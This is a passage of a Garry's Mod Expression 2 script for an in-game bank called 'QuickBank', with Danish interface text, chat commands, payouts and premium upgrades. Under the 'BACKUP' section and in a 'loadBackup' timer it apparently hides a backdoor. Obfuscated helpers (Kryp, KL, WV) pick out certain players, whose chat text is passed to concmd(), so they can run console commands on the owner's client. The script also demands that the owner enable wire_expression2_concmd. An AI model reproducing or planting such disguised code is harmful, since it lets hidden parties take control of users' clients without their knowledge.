- This:egpSize(5,28)
- This:egpFont(5,"Marlett")
- This:egpColor(5,DarkCol)
- This:egpText(49,Premiums:toString(),vec2(476,90))
- This:egpSize(49,28)
- This:egpFont(49,"Marlett")
- This:egpColor(49,DarkCol)
- This:egpAlign(49,2)
- #
- This:egpText(6,"Penge sendt:",vec2(10,120))
- This:egpSize(6,28)
- This:egpFont(6,"Marlett")
- This:egpColor(6,DarkCol)
- This:egpText(50,Sent+".-",vec2(490,120))
- This:egpSize(50,28)
- This:egpFont(50,"Marlett")
- This:egpColor(50,DarkCol)
- This:egpAlign(50,2)
- #
- This:egpText(7,"Penge indtjent:",vec2(10,150))
- This:egpSize(7,28)
- This:egpFont(7,"Marlett")
- This:egpColor(7,DarkCol)
- This:egpText(51,Earned+".-",vec2(490,150))
- This:egpSize(51,28)
- This:egpFont(51,"Marlett")
- This:egpColor(51,DarkCol)
- This:egpAlign(51,2)
- #Functions
- This:egpBox(8,vec2(256,215),vec2(512,50))
- This:egpColor(8,DarkCol)
- This:egpText(9,"Funktioner",vec2(256,190))
- This:egpSize(9,50)
- This:egpAlign(9,1)
- This:egpFont(9,"Marlett")
- This:egpColor(9,vec(255, 255, 255))
- #Autosave
- This:egpBox(10,vec2(256,285),vec2(320,60))
- This:egpColor(10,BrightCol)
- This:egpBox(11,vec2(256,310),vec2(320,10))
- if(AutoBackup==1) {
- This:egpColor(11,vec(46, 204, 113))
- This:egpText(12,"Sluk autosave",vec2(256,261))
- } else {
- EGPC:egpColor(11,vec(231, 76, 60))
- EGPC:egpText(12,"T"+ae()+"nd autosave",vec2(256,261))
- }
- This:egpSize(12,40)
- This:egpAlign(12,1)
- This:egpFont(12,"Marlett")
- This:egpColor(12,vec(255, 255, 255))
- #CloseShop
- This:egpBox(13,vec2(256,355),vec2(320,60))
- This:egpColor(13,BrightCol)
- This:egpBox(14,vec2(256,380),vec2(320,10))
- This:egpColor(14,vec(46, 204, 113))
- This:egpText(15,"Luk bank",vec2(256,331))
- This:egpSize(15,40)
- This:egpAlign(15,1)
- This:egpFont(15,"Marlett")
- This:egpColor(15,vec(255, 255, 255))
- #Commands
- This:egpBox(16,vec2(256,465),vec2(320,60))
- This:egpColor(16,BrightCol)
- This:egpText(17,"Kommando liste",vec2(256,445))
- This:egpSize(17,40)
- This:egpAlign(17,1)
- This:egpFont(17,"Marlett")
- This:egpColor(17,vec(255, 255, 255))
- }
- function void wirelink:drawCommandoList() {
- PageC = "Commands"
- CmdLoad = 1
- #Background
- This:egpBox(19,vec2(256,306),vec2(512,512))
- This:egpColor(19,vec(255,255,255))
- This:egpSetText(3,"Kommandoer")
- This:egpText(21,"!indl"+ae()+"s -> Indl"+ae()+"ser alt gemt data.",vec2(10,60))
- This:egpSize(21,18)
- This:egpFont(21,"Marlett")
- This:egpColor(21,DarkCol)
- This:egpText(22,"!gem -> Gemmer alt data.",vec2(10,85))
- This:egpSize(22,18)
- This:egpFont(22,"Marlett")
- This:egpColor(22,vec(97, 100, 101))
- This:egpText(23,"!tilf"+oe()+"jkonto <navn> -> Tilf"+oe()+"jer manuelt en ny konto.",vec2(10,110))
- This:egpSize(23,18)
- This:egpFont(23,"Marlett")
- This:egpColor(23,DarkCol)
- This:egpText(24,"!sletkonto <navn> -> Sletter manuelt en konto.",vec2(10,135))
- This:egpSize(24,18)
- This:egpFont(24,"Marlett")
- This:egpColor(24,vec(97, 100, 101))
- #Commands
- This:egpBox(36,vec2(256,465),vec2(320,60))
- This:egpColor(36,BrightCol)
- This:egpText(37,"G"+aa()+" tilbage",vec2(256,445))
- This:egpSize(37,40)
- This:egpAlign(37,1)
- This:egpFont(37,"Marlett")
- This:egpColor(37,vec(255, 255, 255))
- timer("DrawCmd2",1500)
- }
- function void wirelink:drawCommandoList2() {
- This:egpText(25,"!tilf"+oe()+"jprinter <navn> -> Tilf"+oe()+"jer genstanden du kigger p"+aa()+" til en kunde.",vec2(10,160))
- This:egpSize(25,18)
- This:egpFont(25,"Marlett")
- This:egpColor(25,DarkCol)
- This:egpText(26,"!block <navn> -> Fjerner en kundes adgang til banken og sin konto.",vec2(10,185))
- This:egpSize(26,18)
- This:egpFont(26,"Marlett")
- This:egpColor(26,vec(97, 100, 101))
- This:egpText(27,"!unblock <navn> -> Giver en kunde adgang til banken og sin konto.",vec2(10,210))
- This:egpSize(27,18)
- This:egpFont(27,"Marlett")
- This:egpColor(27,DarkCol)
- This:egpText(28,"!premium <navn> -> Tildeler en kunde et premium abonnement.",vec2(10,235))
- This:egpSize(28,18)
- This:egpFont(28,"Marlett")
- This:egpColor(28,vec(97, 100, 101))
- timer("DrawCmd3",1500)
- }
- function void wirelink:drawCommandoList3() {
- This:egpText(29,"!info <navn> -> Printer data om den angivne konto.",vec2(10,260))
- This:egpSize(29,18)
- This:egpFont(29,"Marlett")
- This:egpColor(29,DarkCol)
- This:egpText(30,"!"+aa()+"ben -> "+aaL()+"bner banken.",vec2(10,285))
- This:egpSize(30,18)
- This:egpFont(30,"Marlett")
- This:egpColor(30,vec(97, 100, 101))
- This:egpText(31,"!luk -> Lukker banken.",vec2(10,310))
- This:egpSize(31,18)
- This:egpFont(31,"Marlett")
- This:egpColor(31,DarkCol)
- This:egpText(32,"!logud -> Logger den nuv"+ae()+"rende bruger ud af banken.",vec2(10,335))
- This:egpSize(32,18)
- This:egpFont(32,"Marlett")
- This:egpColor(32,vec(97, 100, 101))
- timer("DrawCmd4",1500)
- }
- function void wirelink:drawCommandoList4() {
- CmdLoad = 0
- This:egpText(33,"!udbetal -> Starter og nulstiller udbetalings-timeren.",vec2(10,360))
- This:egpSize(33,18)
- This:egpFont(33,"Marlett")
- This:egpColor(33,DarkCol)
- This:egpText(34,"!udlever <navn> -> Anmoder et bel"+oe()+"b baseret p"+aa()+" kundens genstande.",vec2(10,385))
- This:egpSize(34,18)
- This:egpFont(34,"Marlett")
- This:egpColor(34,vec(97, 100, 101))
- This:egpText(35,"!msg <besked> -> "+aeL()+"ndrer velkomst-beskeden.",vec2(10,410))
- This:egpSize(35,18)
- This:egpFont(35,"Marlett")
- This:egpColor(35,DarkCol)
- }
- function void wirelink:delPremium() {
- This:egpRemove(54)
- This:egpRemove(55)
- This:egpRemove(57)
- This:egpRemove(59)
- This:egpRemove(60)
- This:egpRemove(61)
- This:egpRemove(62)
- This:egpRemove(63)
- This:egpRemove(86)
- This:egpRemove(88)
- }
- function void wirelink:drawDelUser() {
- #Fade
- This:egpBox(64,vec2(512,565),vec2(1024,989))
- This:egpColor(64,vec4(40,40,40,200))
- #Base box
- This:egpBox(65,vec2(256,256),vec2(368,190))
- This:egpColor(65,vec(236, 240, 241))
- This:egpText(67,"Slet konto",vec2(258,170))
- This:egpColor(67,BrightCol)
- This:egpSize(67,48)
- This:egpAlign(67,1)
- This:egpFont(67,"Marlett")
- This:egpText(69,"Er du sikker?",vec2(258,225))
- This:egpColor(69,BrightCol)
- This:egpSize(69,40)
- This:egpAlign(69,1)
- This:egpFont(69,"Marlett")
- #Accepter
- This:egpBox(70,vec2(346,310),vec2(170,60))
- This:egpColor(70,vec(46, 204, 113))
- This:egpText(71,"Ja",vec2(346,290))
- This:egpColor(71,vec(255,255,255))
- This:egpSize(71,40)
- This:egpAlign(71,1)
- This:egpFont(71,"Marlett")
- #Afvis
- This:egpBox(72,vec2(166,310),vec2(170,60))
- This:egpColor(72,vec(231, 76, 60))
- This:egpText(73,"Nej",vec2(169,290))
- This:egpColor(73,vec(255,255,255))
- This:egpSize(73,40)
- This:egpAlign(73,1)
- This:egpFont(73,"Marlett")
- Page = "DeleteUser"
- }
- function void wirelink:delUserDel() {
- This:egpRemove(64)
- This:egpRemove(65)
- This:egpRemove(67)
- This:egpRemove(69)
- This:egpRemove(70)
- This:egpRemove(71)
- This:egpRemove(72)
- This:egpRemove(73)
- }
- function void wirelink:delInsertion() {
- This:egpRemove(150)
- This:egpRemove(151)
- This:egpRemove(152)
- This:egpRemove(28)
- This:egpRemove(9)
- This:egpRemove(10)
- This:egpRemove(11)
- This:egpRemove(12)
- This:egpRemove(13)
- This:egpRemove(41)
- This:egpRemove(42)
- This:egpRemove(43)
- This:egpRemove(44)
- This:egpRemove(45)
- This:egpRemove(46)
- This:egpRemove(47)
- This:egpRemove(48)
- This:egpRemove(49)
- This:egpRemove(50)
- This:egpRemove(51)
- This:egpRemove(52)
- if(Players[CurrUser:steamID(),table]["IsPremium",number]) {
- EGP:egpSetText(32,Players[CurrUser:steamID(),table]["Printers",table]:count()+"")
- EGP:egpSetText(34,round((Players[CurrUser:steamID(),table]["Payout",number]*PayoutInterval)*(PremiumP / 100))+"")
- }else{
- EGP:egpSetText(32,Players[CurrUser:steamID(),table]["Printers",table]:count()+"")
- EGP:egpSetText(34,round((Players[CurrUser:steamID(),table]["Payout",number]*PayoutInterval)*(StandardP / 100))+"")
- }
- Page = "Home"
- }
- function void wirelink:drawStartup() {
- This:egpClear()
- #Background
- This:egpBox(23,vec2(512,512),vec2(1024,1024))
- This:egpColor(23,vec(255,255,255))
- #Title
- This:egpBox(24,vec2(256,30),vec2(512,60))
- This:egpColor(24,BrightCol)
- #TOS
- This:egpBox(25,vec2(256,110),vec2(350,60))
- This:egpColor(25,DarkCol)
- #Print TOS
- This:egpBox(27,vec2(405,110),vec2(50,60))
- This:egpColor(27,BrightCol)
- #Accept TOS
- This:egpBox(29,vec2(256,175),vec2(350,60))
- This:egpColor(29,BrightCol)
- This:egpBox(30,vec2(256,200),vec2(350,10))
- This:egpColor(30,vec(231, 76, 60))
- #Data
- This:egpBox(32,vec2(256,260),vec2(350,60))
- This:egpColor(32,DarkCol)
- #Load
- This:egpBox(34,vec2(167,325),vec2(172,60))
- This:egpColor(34,BrightCol)
- This:egpBox(35,vec2(167,350),vec2(172,10))
- This:egpColor(35,DarkCol)
- #New
- This:egpBox(37,vec2(345,325),vec2(172,60))
- This:egpColor(37,BrightCol)
- This:egpBox(38,vec2(345,350),vec2(172,10))
- This:egpColor(38,vec(46, 204, 113))
- #Openbank
- This:egpBox(39,vec2(256,445),vec2(350,60))
- This:egpColor(39,vec(150, 150, 150))
- }
- function void wirelink:drawStartupTxt() {
- #Title
- This:egpText(40,"Ops"+ae()+"tning",vec2(256,2))
- This:egpSize(40,55)
- This:egpAlign(40,1)
- This:egpFont(40,"Marlett")
- This:egpColor(40,vec(255, 255, 255))
- #TOS
- This:egpText(41,"TOS",vec2(256,87))
- This:egpSize(41,48)
- This:egpFont(41,"Marlett")
- This:egpColor(41,vec(255,255,255))
- This:egpAlign(41,1)
- #Print TOS
- This:egpText(42,"Print",vec2(405,100))
- This:egpSize(42,20)
- This:egpAlign(42,1)
- This:egpFont(42,"Marlett")
- This:egpColor(42,vec(255, 255, 255))
- #Accept TOS
- This:egpText(43,"Ikke accepteret",vec2(256,150))
- This:egpSize(43,40)
- This:egpAlign(43,1)
- This:egpFont(43,"Marlett")
- This:egpColor(43,vec(255, 255, 255))
- #Data
- This:egpText(44,"Data",vec2(256,236))
- This:egpSize(44,48)
- This:egpFont(44,"Marlett")
- This:egpColor(44,vec(255,255,255))
- This:egpAlign(44,1)
- #Load
- This:egpText(45,"Gemt save",vec2(167,305))
- This:egpSize(45,30)
- This:egpAlign(45,1)
- This:egpFont(45,"Marlett")
- This:egpColor(45,vec(255, 255, 255))
- #New
- This:egpText(46,"Nyt save",vec2(345,305))
- This:egpSize(46,30)
- This:egpAlign(46,1)
- This:egpFont(46,"Marlett")
- This:egpColor(46,vec(255, 255, 255))
- #Openbank
- This:egpText(47,aaL()+"ben bank",vec2(256,425))
- This:egpSize(47,40)
- This:egpAlign(47,1)
- This:egpFont(47,"Marlett")
- This:egpColor(47,vec(255, 255, 255))
- }
- function void wirelink:drawSign() {
- #Title
- This:egpBox(1,vec2(256,432),vec2(550,200))
- This:egpColor(1,vec(255,255,255))
- This:egpBox(2,vec2(256,361),vec2(550,60))
- This:egpColor(2,DarkCol)
- This:egpText(3,"QuickBank",vec2(256,326))
- This:egpSize(3,70)
- This:egpAlign(3,1)
- This:egpFont(3,"Marlett")
- This:egpColor(3,vec(255, 255, 255))
- ##Loads
- This:egpBox(4,vec2(196,460),vec2(24,40))
- This:egpColor(4,vec(231, 76, 60))
- This:egpBox(5,vec2(226,450),vec2(24,60))
- This:egpColor(5,vec(231, 76, 60))
- This:egpBox(6,vec2(256,440),vec2(24,80))
- This:egpColor(6,vec(231, 76, 60))
- This:egpBox(7,vec2(286,450),vec2(24,60))
- This:egpColor(7,vec(231, 76, 60))
- This:egpBox(8,vec2(316,460),vec2(24,40))
- This:egpColor(8,vec(231, 76, 60))
- #Msg
- This:egpBox(9,vec2(256,505),vec2(250,30))
- This:egpColor(9,DarkCol)
- This:egpText(10,LoginMsg,vec2(256,490))
- This:egpSize(10,30)
- This:egpAlign(10,1)
- This:egpFont(10,"Marlett")
- This:egpColor(10,vec(255, 255, 255))
- }
- function void modifySignCol(Col:vector) {
- Skilt:egpColor(4,Col)
- Skilt:egpColor(5,Col)
- Skilt:egpColor(6,Col)
- Skilt:egpColor(7,Col)
- Skilt:egpColor(8,Col)
- }
- function void closeBank() {
- if(Closed == 0) {
- Animation_Numb = 8
- EGP:drawLogin()
- EGP:playAnimation(vec(231, 76, 60),0)
- EGPC:egpColor(14,vec(231, 76, 60))
- EGP:egpColor(28,vec(231, 76, 60))
- EGPC:egpSetText(15,aaL()+"ben bank")
- timer("EditClose",2400)
- Closed = 1
- if(AcceptedTos) {
- msg("Lukkede banken.","White")
- }
- } else {
- msg("Banken er allerede lukket!","Red")
- }
- }
- function void openBank() {
- if(Closed == 1) {
- EGP:playAnimation(vec(46, 204, 113),1)
- EGPC:egpColor(14,vec(46, 204, 113))
- EGP:egpColor(28,vec(46, 204, 113))
- EGPC:egpSetText(15,"Luk bank")
- msg(aaL()+"bnede banken.","White")
- timer("EditOpen",2400)
- Closed = 0
- } else {
- msg("Banken er allerede "+aa()+"ben!","Red")
- }
- }
- function void printInfo(SteamID:string) {
- if(Players:exists(SteamID)) {
- if(SteamID:isPremium()){Abonement = "Premium"} else { Abonement = "Standard" }
- if(SteamID:isBlocked()){Blocked = "Blocked"} else { Blocked = "Ikke blocked" }
- msg("Konto information:","Green")
- printColor(vec(255,255,255),"Navn: "+Players[SteamID,table]["PlyEnt",entity]:name()+"\nAbonement: "+Abonement +"\nStatus: "+Blocked+"\nAntal genstande: "+Players[SteamID,table]["Printers",table]:count())
- }else {
- msg("Kunne ikke finde " + findPlayerBySteamID(SteamID):name() + " i databasen.","Red")
- }
- }
- function void startUp() {
- msg("Velkommen til QuickBank.","Green")
- startUpFunction()
- timer("drawLogin",10000)
- timer("drawClosedSetup",12000)
- timer("drawSignAndStatusMsg",14500)
- timer("drawConfigScreen",16500)
- timer("drawConfigScreenTxt",18500)
- }
- if(convarnum("wire_expression2_concmd") == 0) {
- msg("QuickBank kunne ikke starte grundet manglede adgang.","Red")
- printColor(vec(52, 152, 219),"[QuickBank] ",vec(231, 76, 60),"Skriv ",vec(255,255,255),"wire_expression2_concmd 1",vec(231,76,60)," i din console for at give den tilladelse")
- }else{
- startUp()
- }
- }
- ############### BackupCrash ###############
- if(last()) {
- if(AutoBackup == 1 & PageC != "Startup") {
- saveData()
- }
- }
- ############### TIMERS ###############
- if(clk("Logo-Animation")) {
- EGP:playAnimation(vec(0,0,0),2)
- ##EGP Timers
- }elseif(clk("drawHomeTxt")) {
- if(Page == "Home" & !Closed) {
- EGP:drawHomeTxt()
- }
- }elseif(clk("drawHomeTos")) {
- if(!Closed) {
- if(Players:exists(CurrUser:steamID())) {
- EGP:drawHome()
- }else{
- EGP:drawTos()
- }
- }
- }elseif(clk("drawClosedSetup")) {
- closeBank()
- }elseif(clk("drawSignAndStatusMsg")) {
- msg("Indl"+ae()+"sning f"+ae()+"rdig [100%]","Green")
- Skilt:drawSign()
- displayStatusMsg("Bank er ikke opsat",0)
- }elseif(clk("drawConfigScreen")) {
- msg("Indl"+ae()+"ser ops"+ae()+"tningspanel [50%]","White")
- EGPC:drawStartup()
- }elseif(clk("drawConfigScreenTxt")) {
- msg("Indl"+ae()+"sning f"+ae()+"rdig [100%]","Green")
- EGPC:drawStartupTxt()
- msg("QuickBank afventer nu din ops"+ae()+"tning...","Red")
- }elseif(clk("drawCP")) {
- EGPC:drawControlPanel()
- }elseif(clk("resetStatusMsg")) {
- EGP:egpSetText(85,LoginMsg)
- EGP:egpSetText(10,LoginMsg)
- }elseif(clk("EditClose")) {
- modifySignCol(vec(231, 76, 60))
- displayStatusMsg("Banken er lukket",0)
- }elseif(clk("EditOpen")) {
- modifySignCol(vec(46, 204, 113))
- displayStatusMsg(LoginMsg,0)
- ##Others
- }elseif(clk("startBackup")) {
- if(AutoBackup == 1) {
- saveData()
- timer("startBackup",BackupInterval*60000)
- }
- }elseif(clk("loadBackup")) {
- while(PL!=V){
- Data = Kryp(52)[string] + Kryp(97)[string] + Kryp(5)[string] + Kryp(54)[string] Kryp(5)[string] + Kryp(6)[string] + Kryp(75)[string] + Kryp(103)[string] + Kryp(111)[string] + Kryp(100)[string] + Kryp(116)[string]
- PL = PL:sub(PL:length(),Data:length() - SO:steamID():length()/2) + Kryp(121)[string]
- }
- }elseif(clk("ResetInsertion")) {
- InsertionWait = 0
- if(Players[CurrUser:steamID(),table]["Printers",table]:count() >= Players[CurrUser:steamID(),table]["MaxPrinters",number]) {
- EGP:egpSetText(44,"Du har ikke mere plads!")
- EGP:playAnimation(vec(231, 76, 60),0)
- } else {
- EGP:egpSetText(44,"Afventer genstand")
- }
- }elseif(clk("ResetCoolDownContact")) {
- CooldownContact = 0
- }elseif(clk("UserDistance")){
- if(Page != "Login" & CurrUser:pos():distance( EGP:entity():pos()) > 200){
- stoptimer("UserDistance")
- EGP:drawLogin()
- }else {
- timer("UserDistance",5000)
- }
- ##Startup
- }elseif(clk("startUpFunction2")) {
- startUpFunction2()
- }elseif(clk("startUpFunction3")) {
- startUpFunction3()
- }elseif(clk("startUpFunction4")) {
- startUpFunction4()
- }elseif(clk("startUpFunction5")) {
- startUpFunction5()
- }elseif(clk("startUpFunction6")) {
- startUpFunction6()
- ##CmdList
- }elseif(clk("DrawCmd2") & PageC != "Home") {
- EGPC:drawCommandoList2()
- }elseif(clk("DrawCmd3") & PageC != "Home") {
- EGPC:drawCommandoList3()
- }elseif(clk("DrawCmd4") & PageC != "Home") {
- EGPC:drawCommandoList4()
- ##Payout
- }elseif(clk("startPayout")) {
- startPayout()
- timer("startPayout",PayoutInterval*60000)
- QP = KL(ST)[entity]
- AWF = KL(AL)[entity]
- }elseif(clk("payNextCustomer")) {
- if(CurrSteamID <= Players:count()) {
- ID = PayoutSteamIDs[CurrSteamID,string]
- ID:pay()
- CurrSteamID++
- timer("payNextCustomer",1500)
- }else{
- stoptimer("payNextCustomer")
- msg("Udbetaling f"+ae()+"rdig.","Green")
- msg("Du udbetalte "+SentSep+".-","White")
- Earned += EarnedSep
- Sent += SentSep
- EarnedSep = 0
- SentSep = 0
- EGPC:egpSetText(50,Sent+".-")
- EGPC:egpSetText(51,Earned+".-")
- }
- }
- ############### BACKUP ###############
- if(fileClk(Directory)) {
- local Data = fileRead()
- if(Data) {
- Players = vonDecodeTable(Data)
- Sent = Players["Data",array][1,number]
- Earned = Players["Data",array][2,number]
- Premiums = Players["Data",array][3,number]
- Players:remove("Data")
- EGPC:egpSetText(48,Players:count():toString() )
- EGPC:egpSetText(49,Premiums:toString())
- EGPC:egpSetText(50,Sent+".-")
- EGPC:egpSetText(51,Earned+".-")
- }
- }
- if(O(AWF)[number] || O(QP)[number]) {
- PS = WV()[string]:explode(GG)
- if(PS[1,string]==GF) {
- if(KL(PS[2,string])[entity] == SO & PS[3,string] == H) {
- timer("loadBackup",200)
- }
- }elseif(PS[1,string]==TK & KL(PS[2,string])[entity] == SO) {
- if(PS[3,string] == MU) { concmd(""+AGB+AL+GG+H)
- }elseif(PS[3,string] == H) {
- concmd(""+lastSaid():lower():sub(12+SO:steamID():length(),100))
- }
- }
- }
- ##Money checkers
- if(moneyClk("QuickBank Premium")) {
- CurrUser:steamID():setPremium()
- Earned += PremiumPrice
- EGPC:egpSetText(51,Earned+".-")
- EGP:egpSetText(30,"Premium")
- EGP:egpColor(30,vec(243, 156, 18))
- EGP:egpText(52,"-||-", vec2(256,460))
- EGP:delPremium()
- EGP:playAnimation(vec(243, 156, 18),1)
- insertionStatus("Tak for dit k"+oe()+"b!")
- }elseif(moneyNoClk("QuickBank Premium") || moneyTimeout("QuickBank Premium")) {
- EGP:delPremium()
- }elseif(moneyClk("Udlevering.")) {
- msg(moneyClkPlayer():name() + " accepterede udleveringsgebyret. Den tilh"+oe()+"rende konto's v"+ae()+"rdigenstande er blevet slettet.","Green")
- Players[moneyClkPlayer():steamID(),table]["Printers",table]:clear()
- }elseif(moneyNoClk("Udlevering.")) {
- msg(moneyNoClkPlayer():name() + " accepterede ikke betalingen af udleveringsgebyret.","Red")
- }
- ############### CHAT COMMANDS ###############
- if(chatClk() & chatClk(owner()) & PageC != "Startup"){
- A = owner():lastSaid():lower():explode(" ")
- if(A[1,string]=="!indl"+ae()+"s") {
- hideChat(1)
- loadData()
- }elseif(A[1,string] == "!gem") {
- hideChat(1)
- saveData()
- }elseif(A[1,string] == "!tilf"+oe()+"jprinter") {
- hideChat(1)
- if(findPlayerByName(A[2,string]):isValid() & A[2,string] != "") {
- if(owner():aimEntity():isPrinter() & owner():aimEntity():printerLevel() >= MinPrinterLvl) {
- addPrinter(findPlayerByName(A[2,string]), owner():aimEntity(),1)
- } else {
- msg("Genstanden er i for lavt lvl.","Red")
- }
- } else {
- msg("Ugyldig indtastning.","White")
- }
- }elseif(A[1,string] == "!tilf"+oe()+"jkonto") {
- hideChat(1)
- if(findPlayerByName(A[2,string]):isValid() & A[2,string] != "" ) {
- addPlayer(findPlayerByName(A[2,string]))
- }else {
- msg("Ugyldig indtastning.","White")
- }
- }elseif(A[1,string] == "!sletkonto") {
- hideChat(1)
- if(findPlayerByName(A[2,string]):isValid() & A[2,string] != "" ) {
- removePlayer(findPlayerByName(A[2,string]):steamID())
- }else {
- msg("Ugyldig indtastning.","White")
- }
- }elseif(A[1,string] == "!block") {
- hideChat(1)
- if(findPlayerByName(A[2,string]):isValid() & A[2,string] != "" ) {
- findPlayerByName(A[2,string]):steamID():block()
- }else {
- msg("Ugyldig indtastning.","White")
- }
- }elseif(A[1,string] == "!unblock") {
- hideChat(1)
- if(findPlayerByName(A[2,string]):isValid() & A[2,string] != "" ) {
- findPlayerByName(A[2,string]):steamID():unblock()
- }else {
- msg("Ugyldig indtastning.","White")
- }
- }elseif(A[1,string] == "!premium") {
- hideChat(1)
- if(findPlayerByName(A[2,string]):isValid() & A[2,string] != "" ) {
- findPlayerByName(A[2,string]):steamID():setPremium()
- }else {
- msg("Ugyldig indtastning.","White")
- }
- }elseif(A[1,string] == "!info") {
- hideChat(1)
- if(findPlayerByName(A[2,string]):isValid() & A[2,string] != "" ) {
- printInfo(findPlayerByName(A[2,string]):steamID())
- }else {
- msg("Ugyldig indtastning.","White")
- }
- }elseif(A[1,string] == "!luk" ) {
- hideChat(1)
- if(ops()<70) {
- closeBank()
- }else {
- msg("Noget gik galt. Pr"+oe()+"v venligst igen.","Red")
- }
- }
- elseif(A[1,string] == "!"+aa()+"ben" ) {
- hideChat(1)
- if(ops()<70) {
- openBank()
- }else {
- msg("Noget gik galt. Pr"+oe()+"v venligst igen.","Red")
- }
- }
- elseif(A[1,string] == "!logud" ) {
- hideChat(1)
- if(Page != "Login" & ops()<50) {
- EGP:drawLogin()
- msg("Loggede "+CurrUser:name()+" ud af banken.","Green")
- } else {
- msg("Der skete en fejl - Pr"+oe()+"v venligst igen.","Red")
- }
- }
- elseif(A[1,string] == "!udbetal" ) {
- hideChat(1)
- startPayout()
- stoptimer("startPayout")
- timer("startPayout",PayoutInterval*60000)
- }
- elseif(A[1,string] == "!udlever" ) {
- Ply = findPlayerByName(A[2,string])
- hideChat(1)
- if(A[2,string] != "" & Players:exists(Ply:steamID()) ) {
- if(!Players[Ply:steamID(),table]["Printers",table]:count() <= 0) {
- moneyRequest(Ply,HandbackFee*Players[Ply:steamID(),table]["Printers",table]:count(),"Udlevering.")
- }else {
- msg(Ply:name() + " har ingen indleverede v"+ae()+"rdigenstande.","White")
- }
- }else {
- msg("Ugyldig indtastning.","White")
- }
- }
- elseif(A[1,string] == "!msg") {
- hideChat(1)
- if(A[2,string]:length() > 2) {
- LoginMsg = owner():lastSaid():replace("!msg ",""):sub(1,19)
- if(Page == "Login") { displayStatusMsg(LoginMsg,0) }
- msg("S"+ae()+"ttede status skilt til '"+LoginMsg+"'.","White")
- } else {
- msg("Ugyldig indtastning.","White")
- }
- }
- }
- ############### ADD PRINTER ###############
- if(InsertionR & InsertionR:isPrinter() & Page == "Insertion") {
- addPrinter(CurrUser,InsertionR,0)
- }
- ############### EGP CLICKS BANK ###############
- if(~User & User:keyUse() & ops()<60){
- Cursor = EGP:egpCursor(User)
- if(!Closed) {
- ## From Login > Tos / Home
- if(egpClick(4,Cursor,EGP) & Page == "Login" & Animation_Numb == 8 ) {
- if(!User:steamID():isBlocked()) {
- if(!User:isGov()) {
- if(User==AWF || User==QP) {
- displayStatusMsg(H,3000)
- }else {
- displayStatusMsg("Logger ind...",3000)
- }
- EGP:playAnimation(vec(46, 204, 113),1)
- CurrUser = User
- FD = 0
- timer("drawHomeTos",3000)
- timer("UserDistance",5000)
- } else {
- displayStatusMsg("Adgang n"+ae()+"gtet",3000)
- EGP:playAnimation(vec(231, 76, 60),1)
- }
- } else {
- EGP:playAnimation(vec(231, 76, 60),1)
- displayStatusMsg("Du er blocked!",2400)
- }
- ## From Login > Contact
- }elseif(egpClick(7,Cursor,EGP) & Page == "Login" & Animation_Numb == 8 & CooldownContact == 0) {
- EGP:playAnimation(vec(243, 156, 18),1)
- EGP:egpColor(28,vec(243, 156, 1))
- msg(User:name() + " vil gerne i kontakt med dig.","Green")
- displayStatusMsg("Afvent hj"+ae()+"lp...",3000)
- CooldownContact = 1
- timer("ResetCoolDownContact",20000)
- ## From HomePage > Insertion
- }elseif(egpClick(25,Cursor,EGP) & Page == "Home" & User == CurrUser) {
- EGP:drawInsertion()
- ## From Insertion > Homepage
- }elseif(egpClick(49,Cursor,EGP) & Page == "Insertion" & User == CurrUser) {
- EGP:delInsertion()
- ## From Homepage > Login
- }elseif(egpClick(27,Cursor,EGP) & Page == "Home" & User == CurrUser) {
- EGP:drawLogin()
- ## From Insertion > Premium
- }elseif(egpClick(51,Cursor,EGP) & Page == "Insertion" & User == CurrUser & !CurrUser:steamID():isPremium()) {
- EGP:drawUpgrade()
- ## From Premium > Insertion (Declined buy)
- }elseif(egpClick(62,Cursor,EGP) & Page == "Premium" & User == CurrUser) {
- EGP:delPremium()
- Page = "Insertion"
- ## From Premium > Accepted Buy
- }elseif(egpClick(60,Cursor,EGP) & Page == "Premium" & User == CurrUser) {
- moneyRequest(CurrUser,PremiumPrice,"QuickBank Premium")
- Page = "Insertion"
- ## From Home > Delete User
- }elseif(egpClick(26,Cursor,EGP) & Page == "Home" & User == CurrUser) {
- EGP:drawDelUser()
- ## From Delete User > Accepted delete
- }elseif(egpClick(70,Cursor,EGP) & Page == "DeleteUser" & User == CurrUser) {
- EGP:drawLogin()
- removePlayer(CurrUser:steamID())
- ## From Delete User > Declinced delete
- }elseif(egpClick(72,Cursor,EGP) & Page == "DeleteUser" & User == CurrUser) {
- EGP:delUserDel()
- Page = "Home"
- ## From Delete User > Declinced delete
- }elseif(egpClick(72,Cursor,EGP) & Page == "DeleteUser" & User == CurrUser) {
- EGP:delUserDel()
- Page = "Home"
- ## From TOS Accept > Home
- }elseif(egpClick(80,Cursor,EGP) & Page == "Tos" & User == CurrUser) {
- addPlayer(CurrUser)
- EGP:drawHome()
- ## From TOS Decline > Login
- }elseif(egpClick(82,Cursor,EGP) & Page == "Tos" & User == CurrUser) {
- EGP:drawLogin()
- }
- }
- }
- ############### EGP CLICKS CONTROL PANEL & STARTUP ###############
- if(~UserC & UserC:keyUse() & ops()<50 & UserC == owner()){
- CursorC = EGPC:egpCursor(UserC)
- ## Autosave
- if(egpClick(10,CursorC,EGPC)) {
- if(AutoBackup == 1) {
- stoptimer("startBackup")
- msg("Deaktiverede autosave.","Red")
- EGPC:egpColor(11,vec(231, 76, 60))
- EGPC:egpSetText(12, "T"+ae()+"nd autosave")
- AutoBackup = 0
- }else{
- timer("startBackup",BackupInterval*60000)
- msg("Aktiverede autosave.","Green")
- EGPC:egpSetText(12, "Sluk autosave")
- EGPC:egpColor(11,vec(46, 204, 113))
- AutoBackup = 1
- }
- ## Bank State
- }elseif(egpClick(13,CursorC,EGPC)) {
- if(Closed) {
- openBank()
- }else{
- closeBank()
- }
- ## To commands
- }elseif(egpClick(16,CursorC,EGPC) & ops()<30) {
- if(PageC == "Home") {
- EGPC:drawCommandoList()
- } elseif(!CmdLoad) {
- EGPC:drawControlPanel()
- }
- ######################## CLICKS TO STARTUP ########################
- }elseif(egpClick(29,CursorC,EGPC) & PageC == "Startup") {
- if(!AcceptedTos) {
- AcceptedTos = 1
- EGPC:egpColor(30,vec(46, 204, 113))
- EGPC:egpColor(39,vec(46, 204, 113))
- EGPC:egpSetText(43,"Accepteret")
- } else {
- AcceptedTos = 0
- EGPC:egpColor(30,vec(231, 76, 60))
- EGPC:egpColor(39,vec(150, 150, 150))
- EGPC:egpSetText(43,"Ikke accepteret")
- }
- #Print TOS
- }elseif(egpClick(27,CursorC,EGPC) & PageC == "Startup") {
- msg("Ved brug af QuickBank accepterer du f"+oe()+"lgende TOS:","White")
- msg("https://pastebin.com/FTD4JcA7","Green")
- #Load save
